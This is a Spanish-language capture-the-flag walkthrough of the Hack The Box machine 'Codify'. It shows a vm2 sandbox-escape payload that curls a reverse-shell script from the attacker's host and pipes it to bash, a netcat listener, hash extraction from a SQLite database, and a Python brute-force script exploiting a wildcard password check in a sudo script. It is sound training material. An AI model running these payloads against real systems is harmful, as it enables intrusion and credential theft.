Codify
Codify Linux · Easy - Adventure mode
CVE: CVE-2023-30547
🔭 Reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(pmartinezr㉿kali)-[~]
└─$ nmap -p- -Pn -sSVC 10.129.67.75
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 19:45 CET
Nmap scan report for 10.129.67.75
Host is up (0.048s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.80 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(pmartinezr㉿kali)-[~/htb/codify]
└─$ dirsearch -u http://codify.htb/ -e php,html,js,txt,zip,sql -r
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, html, js, txt, zip, sql | HTTP method: GET | Threads: 25 | Wordlist size: 11957
Output File: /home/pmartinezr/htb/codify/reports/http_codify.htb/__26-01-08_20-02-54.txt
Target: http://codify.htb/
[20:02:54] Starting:
[20:03:04] 200 - 1KB - /About
[20:03:04] 200 - 1KB - /about
[20:03:26] 200 - 1KB - /editor
[20:03:26] 200 - 1KB - /editor/
Added to the queue: editor/
[20:03:54] 403 - 275B - /server-status
[20:03:54] 403 - 275B - /server-status/
Added to the queue: server-status/
[20:04:16] Starting: editor/
[20:05:32] Starting: server-status/
[20:05:33] 404 - 149B - /server-status/%2e%2e//google.com
Task Completed
Haciendo uso de Zap proxy econtré el siguiente recurso de la página. http://codify.htb/limitations No es más que notas de las limitaciones que tiene para no usar ciertas clases.
👽 Acciones:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('curl http://10.10.14.110:8000/rev.sh | bash');
}
`
console.log(vm.run(code));
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244La explicación del exploit puedes leerla aquí.
1
2
3
┌──(pmartinezr㉿kali)-[~/htb/codify]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Hay que servir la revershell que vamos a conectar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(pmartinezr㉿kali)-[~/htb/codify]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.110] from (UNKNOWN) [10.129.67.75] 34922
sh: 0: can't access tty; job control turned off
$ whoami
svc
svc@codify:~$ ls /home
ls /home
joshua svc
svc@codify:/var/www/contact$ strings tickets.db
strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
Empezamos con una reveshell de usuario svc pero ya podemos por ejemplo listar usuarios, encontramos a jhosua y buscando un poquito, un archivo de base de datos tickets.db Con hashcat conseguirmo la password del usuario $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:. También puedes probar con fuerza bruta y funcionaría.
1
2
3
4
5
6
7
8
9
joshua@codify:~$ cat user.txt
664b67c27f9b25d3cecb24d691fbfaf8
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
Obtenemos la primera flag de usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Este es el contenido del script de backup de mysql.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
Es aquí donde se encuntra la debilidad de la confirmación del password pues al no sanitizar la entrada este script acepta wildcards * y aunque en un principio no se puede truncar si podemos hacer un script que vaya haciendo descubrimiento de la password. if [[ $DB_PASS == $USER_PASS ]]; then
💣 Preparación
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import subprocess
import string
# Create a list of characters to test (letters and digits)
char = list(string.ascii_letters + string.digits)
# Initialize the password as an empty string
password = ""
# Use a while loop to keep guessing the password
while True:
for i in char:
command = f"echo '{password}{i}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, text=True).stdout
if 'Password confirmed!' in result:
password = password + i
print("The password is:", password)
Tengo que reconocer que copie el script porque al principio no caía en como llevar a cabo esta fuerza bruta.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
joshua@codify:~$ python3 brute.py
mysql: [Warning] Using a password on the command line interface can be insecure.
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
The password is: kljh12k3jhaskjh12kj
mysql: [Warning] Using a password on the command line interface can be insecure.
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
The password is: kljh12k3jhaskjh12kjh
mysql: [Warning] Using a password on the command line interface can be insecure.
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
The password is: kljh12k3jhaskjh12kjh3
Ahora solo tenemos que reutilizar esta password para usarla con su - kljh12k3jhaskjh12kjh3 y conseguimos la flag de root.
Nota: Muchas veces es buena idea mirar otros write ups para caer en la cuenta de como resolverlos. No te desanimes, ni te fustres, lo importante es aprender, en este caso me pareció una maravilla de aprendizaje.